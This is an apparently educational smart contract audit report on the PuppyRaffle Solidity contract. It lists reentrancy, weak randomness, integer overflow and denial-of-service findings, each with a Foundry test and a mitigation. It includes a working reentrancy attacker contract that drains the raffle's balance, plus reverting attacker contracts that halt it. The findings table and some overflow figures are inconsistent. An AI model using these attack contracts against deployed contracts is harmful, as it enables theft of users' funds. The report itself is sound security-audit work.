



Puppy Raffle Initial Audit Report

Version 0.1

Alchemist

January 18, 2026

Puppy Raffle Audit Report

Aditya kumar Mishra

Jan 18, 2026

Puppy Raffle Audit Report

Prepared by: Team Alchemist Lead Auditors:

- Aditya Kumar Mishra

Assisting Auditors:

- None

Table of contents

See table

- Puppy Raffle Audit Report
- Table of contents
- About YOUR_NAME_HERE
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
- Protocol Summary
 - Roles
- Executive Summary

- Issues found
- Findings
 - High
 - * [H-1] Reentrancy attack in PuppyRaffle::refund allows entrant to drain contract balance
 - * [H-2] Weak randomness in PuppyRaffle::selectWinner allows anyone to choose winner
 - * [H-3] Integer overflow of PuppyRaffle::totalFees loses fees
 - * [H-4] Malicious winner can forever halt the raffle
 - Medium
 - * [M-1] Looping through players array to check for duplicates in PuppyRaffle::enterRaffle is a potential DoS vector, incrementing gas costs for future entrants
 - * [M-2] Balance check on PuppyRaffle::withdrawFees enables griefers to self-destruct a contract to send ETH to the raffle, blocking withdrawals
 - * [M-3] Unsafe cast of PuppyRaffle::fee loses fees
 - * [M-4] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest
 - Informational / Non-Critical
 - * [I-1] Floating pragmas
 - * [I-2] Magic Numbers
 - * [I-3] Test Coverage
 - * [I-4] Zero address validation
 - * [I-5] _isActivePlayer is never used and should be removed
 - * [I-6] Unchanged variables should be constant or immutable
 - * [I-7] Potentially erroneous active player index
 - * [I-8] Zero address may be erroneously considered an active player
 - Gas (Optional)

About Alchemist

We are Team Alchemist, currently a one-member team founded by Aditya Kumar Mishra. Our focus is on learning, researching, and implementing smart contract security, with an emphasis on understanding vulnerabilities, best practices, and secure blockchain development

Disclaimer

The Alchemist team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

22bbbb2c47f3f2b78c1b134590baf41383fd354f

Scope

```
./src/  
-- PuppyRaffle.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with varying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The only one who can change the feeAddress, denominated by the _owner variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the feeAddress variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the players array.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	0
Info	8
Total	0

Findings

High

[H-1] Reentrancy attack in PuppyRaffle::refund allows entrant to drain contract balance

Description: The PuppyRaffle::refund function does not follow CEI/FREI-PI and as a result, enables participants to drain the contract balance.

In the PuppyRaffle::refund function, we first make an external call to the msg.sender address, and only after making that external call, we update the players array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
        → refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        → refunded, or is not active");
```

```
@> payable(msg.sender).sendValue(entranceFee);

@> players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle could have a fallback/receive function that calls the PuppyRaffle::refund function again and claim another refund. They could continue to cycle this until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle.
2. Attacker sets up a contract with a fallback function that calls PuppyRaffle::refund.
3. Attacker enters the raffle
4. Attacker calls PuppyRaffle::refund from their contract, draining the contract balance.

Proof of Code:

Code

Add the following code to the PuppyRaffleTest.t.sol file.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    fallback() external payable {
```

```

    if (address(puppyRaffle).balance >= entranceFee) {
        puppyRaffle.refund(attackerIndex);
    }
}

function testReentrance() public playersEntered {
    ReentrancyAttacker attacker = new
    ↪ ReentrancyAttacker(address(puppyRaffle));
    vm.deal(address(attacker), 1e18);
    uint256 startingAttackerBalance = address(attacker).balance;
    uint256 startingContractBalance = address(puppyRaffle).balance;

    attacker.attack();

    uint256 endingAttackerBalance = address(attacker).balance;
    uint256 endingContractBalance = address(puppyRaffle).balance;
    assertEq(endingAttackerBalance, startingAttackerBalance +
    ↪ startingContractBalance);
    assertEq(endingContractBalance, 0);
}

```

Recommended Mitigation: To fix this, we should have the PuppyRaffle::refund function update the players array before making the external call. Additionally, we should move the event emission up as well.

```

function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
    ↪ can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
    ↪ refunded, or is not active");
    +   players[playerIndex] = address(0);
    +   emit RaffleRefunded(playerAddress);
    (bool success,) = msg.sender.call{value: entranceFee}("");
    require(success, "PuppyRaffle: Failed to refund player");
    -   players[playerIndex] = address(0);
    -   emit RaffleRefunded(playerAddress);
}

```

[H-2] Weak randomness in PuppyRaffle::selectWinner allows anyone to choose winner

Description: Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Any user can choose the winner of the raffle, winning the money and selecting the “rarest” puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy.

Proof of Concept:

There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. See the solidity blog on [prevrando](#) here. `block.difficulty` was recently replaced with `prevrando`.
 2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of PuppyRaffle::totalFees loses fees

Description: In Solidity versions prior to 0.8.0, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;  
// myVar will be 18446744073709551615  
myVar = myVar + 1;  
// myVar will be 0
```

Impact: In PuppyRaffle::selectWinner, totalFees are accumulated for the feeAddress to collect later in withdrawFees. However, if the totalFees variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. totalFees will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 80000000000000000000 + 17800000000000000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in PuppyRaffle::withdrawFees:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
→ are currently players active!");
```

Although you could use selfdestruct to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code

Place this into the PuppyRaffleTest.t.sol file.

```
function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 800000000000000000000000

    // We then have 89 players enter a new raffle
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // We end the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // And here is where the issue occurs
    // We will now have fewer fees even though we just finished a
    → second raffle
    puppyRaffle.selectWinner();

    uint256 endingTotalFees = puppyRaffle.totalFees();
    console.log("ending total fees", endingTotalFees);
    assert(endingTotalFees < startingTotalFees);

    // We are also unable to withdraw any fees because of the require
    → check
    vm.prank(puppyRaffle.feeAddress());
    vm.expectRevert("PuppyRaffle: There are currently players
    → active!");
```

```
    puppyRaffle.withdrawFees();  
}
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;  
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's SafeMath to prevent integer overflows.

2. Use a uint256 instead of a uint64 for totalFees.

```
- uint64 public totalFees = 0;  
+ uint256 public totalFees = 0;
```

3. Remove the balance check in PuppyRaffle::withdrawFees

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There  
→ are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

[H-4] Malicious winner can forever halt the raffle

Description: Once the winner is chosen, the selectWinner function sends the prize to the the corresponding address with an external call to the winner account.

```
(bool success,) = winner.call{value: prizePool}("");  
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the winner account were a smart contract that did not implement a payable fallback or receive function, or these functions were included but reverted, the external call above would fail, and execution of the selectWinner function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the selectWinner function mints an NFT to the winner using the _safeMint function. This function, inherited from the ERC721 contract, attempts to call the onERC721Received hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the onERC721Received hook expected. This will prevent minting the NFT and will revert the call to selectWinner.

Impact: In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof of Concept:

Proof Of Code

Place the following test into PuppyRaffleTest.t.sol.

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

For example, the AttackerContract can be this:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Or this:

```
contract AttackerContract {
    // Implements a `receive` function to receive prize, but does not
    // implement `onERC721Received` hook to receive the NFT.
    receive() external payable {}
}
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the

`selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.

Medium

[M-1] Looping through players array to check for duplicates in PuppyRaffle::enterRaffle is a potential DoS vector, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means that the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

Note to students: This next line would likely be it's own finding itself. However, we haven't taught you about MEV yet, so we are going to ignore it. Additionally, this increased gas cost creates front-running opportunities where malicious users can front-run another raffle entrant's transaction, increasing its costs, so their enter transaction fails.

Impact: The impact is two-fold.

1. The gas costs for raffle entrants will greatly increase as more players enter the raffle.
2. Front-running opportunities are created for malicious users to increase the gas costs of other users, so their transaction fails.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: 6252039 - 2nd 100 players: 18067741

This is more than 3x as expensive for the second set of 100 players!

This is due to the for loop in the `PuppyRaffle::enterRaffle` function.

```
// Check for duplicates
@>   for (uint256 i = 0; i < players.length - 1; i++) {
      for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate
          → player");
      }
}
```

Proof Of Code

Place the following test into `PuppyRaffleTest.t.sol`.

```

function testReadDuplicateGasCosts() public {
    vm.txGasPrice(1);

    // We will enter 5 players into the raffle
    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    // And see how much gas it cost to enter
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    uint256 gasEnd = gasleft();
    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
    console.log("Gas cost of the 1st 100 players:", gasUsedFirst);

    // We will enter 5 more players into the raffle
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i + playersNum);
    }
    // And see how much more expensive it is
    gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    gasEnd = gasleft();
    uint256 gasUsedSecond = (gasStart - gasEnd) * tx.gasprice;
    console.log("Gas cost of the 2nd 100 players:", gasUsedSecond);

    assert(gasUsedFirst < gasUsedSecond);
    // Logs:
    //     Gas cost of the 1st 100 players: 6252039
    //     Gas cost of the 2nd 100 players: 18067741
}

```

Recommended Mitigation: There are a few recommended mitigations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
 2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle id.
- + mapping(address => uint256) public addressToRaffleId;

```

+     uint256 public raffleId = 0;
.
.
.
function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
→ Must send enough to enter raffle");
    for (uint256 i = 0; i < newPlayers.length; i++) {
        players.push(newPlayers[i]);
+         addressToRaffleId[newPlayers[i]] = raffleId;
    }

-
// Check for duplicates
+ // Check for duplicates only from the new players
+ for (uint256 i = 0; i < newPlayers.length; i++) {
+     require(addressToRaffleId[newPlayers[i]] != raffleId,
→ "PuppyRaffle: Duplicate player");
+ }
-
for (uint256 i = 0; i < players.length; i++) {
-
    for (uint256 j = i + 1; j < players.length; j++) {
-
        require(players[i] != players[j], "PuppyRaffle: Duplicate
→ player");
-
    }
-
}
emit RaffleEnter(newPlayers);
}

.
.
.

function selectWinner() external {
+     raffleId = raffleId + 1;
     require(block.timestamp >= raffleStartTime + raffleDuration,
→ "PuppyRaffle: Raffle not over");

```

Alternatively, you could use OpenZeppelin's EnumerableSet library.

[M-2] Balance check on PuppyRaffle::withdrawFees enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The PuppyRaffle::withdrawFees function checks the totalFees equals the ETH balance of the contract (address(this).balance). Since this contract doesn't have a payable fallback or receive function, you'd think this wouldn't be possible, but a user could

`selfdestruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
function withdrawFees() external {
@>     require(address(this).balance == uint256(totalFees), "PuppyRaffle:
 $\hookrightarrow$  There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in its balance, and 800 `totalFees`.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
function withdrawFees() external {
 $\hookrightarrow$      require(address(this).balance == uint256(totalFees), "PuppyRaffle:
 $\hookrightarrow$  There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration,
 $\hookrightarrow$  "PuppyRaffle: Raffle not over");
require(players.length > 0, "PuppyRaffle: No players in raffle");
```

```

        uint256 winnerIndex =
↪  uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
↪  block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
      players = new address[](0);
      emit RaffleWinner(winner, winnings);
}

```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the fee as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```

uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0

```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```

-  uint64 public totalFees = 0;
+  uint256 public totalFees = 0;
.
.
.
function selectWinner() external {
    require(block.timestamp >= raffleStartTime + raffleDuration,
↪  "PuppyRaffle: Raffle not over");

```

```

    require(players.length >= 4, "PuppyRaffle: Need at least 4
→ players");
    uint256 winnerIndex =
        uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
→ block.difficulty))) % players.length;
    address winner = players[winnerIndex];
    uint256 totalAmountCollected = players.length * entranceFee;
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
-
-    totalFees = totalFees + uint64(fee);
+
+    totalFees = totalFees + fee;

```

[M-4] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest

Description: The PuppyRaffle::selectWinner function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The PuppyRaffle::selectWinner function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends 3. The selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the ownership on the winner to claim their prize. (Recommended)

Informational / Non-Critical

[I-1] Floating pragmas

Description: Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to unintended results.

<https://swcregistry.io/docs/SWC-103/>

Recommended Mitigation: Lock up pragma versions.

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

[I-2] Magic Numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called “magic numbers”.

Recommended Mitigation: Replace all magic numbers with constants.

```
+     uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+     uint256 public constant FEE_PERCENTAGE = 20;
+     uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-
-     uint256 prizePool = (totalAmountCollected * 80) / 100;
-     uint256 fee = (totalAmountCollected * 20) / 100;
     uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
-    / TOTAL_PERCENTAGE;
     uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
-    TOTAL_PERCENTAGE;
```

[I-3] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

File	% Lines	% Statements	% Branches
script/DeployPuppyRaffle.sol	0.00% (0/3)	0.00% (0/4)	100.00%
src/PuppyRaffle.sol	82.46% (47/57)	83.75% (67/80)	66.67%
test/auditTests/ProofOfCodes.t.sol	100.00% (7/7)	100.00% (8/8)	50.00%
Total	80.60% (54/67)	81.52% (75/92)	65.62%

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the Branches column.

[I-4] Zero address validation

Description: The PuppyRaffle contract does not validate that the feeAddress is not the zero address. This means that the feeAddress could be set to the zero address, and fees would be lost.

PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/PuppyRaffle.sol#5) has no check on :

- feeAddress = _feeAddress (src/PuppyRaffle.sol#59)

PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.sol#165) has no check on :

- feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)

Recommended Mitigation: Add a zero address check whenever the feeAddress is updated.

[I-5] _isActivePlayer is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
-     function _isActivePlayer() internal view returns (bool) {
-         for (uint256 i = 0; i < players.length; i++) {
-             if (players[i] == msg.sender) {
-                 return true;
-             }
-         }
-         return false;
-     }
```

[I-6] Unchanged variables should be constant or immutable

Constant Instances:

PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant

PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be constant

PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant

Immutable Instances:

PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable

[I-7] Potentially erroneous active player index

Description: The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return $2^{**256}-1$ (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[I-8] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that “This function will allow there to be blank spots in the array”. However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there’s been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

Gas

// TODO

- `getActivePlayerIndex` returning 0. Is it the player at index 0? Or is it invalid.
- MEV with the `refund` function.
- MEV with `withdrawfees`
- randomness for rarity issue
- reentrancy puppy raffle before safemint (it looks ok actually, potentially informational)